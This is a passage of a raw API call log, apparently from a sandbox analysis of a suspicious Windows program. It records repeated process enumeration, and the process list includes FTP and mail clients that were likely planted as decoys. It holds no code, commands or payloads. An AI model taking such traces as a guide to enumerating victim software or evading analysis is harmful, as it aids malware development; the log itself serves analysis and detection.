cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0264.381] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0264.384] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0264.387] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0264.389] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0264.392] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0264.403] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0264.406] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0264.409] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0264.411] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0264.413] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0264.416] CloseHandle (hObject=0x2200) returned 1 [0264.416] Sleep (dwMilliseconds=0x64) [0264.418] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0264.437] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.440] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0264.442] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0264.444] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.446] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0264.448] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.452] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0264.454] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0264.456] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0264.458] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.461] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.463] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0264.465] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.467] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.470] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.472] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.474] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.476] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.478] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.480] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0264.482] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0264.484] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0264.517] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.520] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0264.522] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0264.525] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0264.527] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0264.529] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0264.531] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0264.534] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0264.538] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.540] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0264.543] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0264.545] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0264.547] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.549] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0264.551] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0264.553] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0264.556] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0264.558] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0264.559] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0264.561] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0264.563] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0264.565] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0264.568] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0264.571] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0264.573] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0264.575] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0264.577] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0264.579] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0264.582] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0264.584] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0264.586] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0264.588] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0264.590] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0264.593] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0264.595] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0264.597] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0264.603] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0264.606] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0264.609] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0264.612] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0264.615] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0264.618] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0264.621] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0264.624] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0264.627] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0264.661] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0264.664] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0264.667] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0264.670] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0264.672] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0264.675] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, 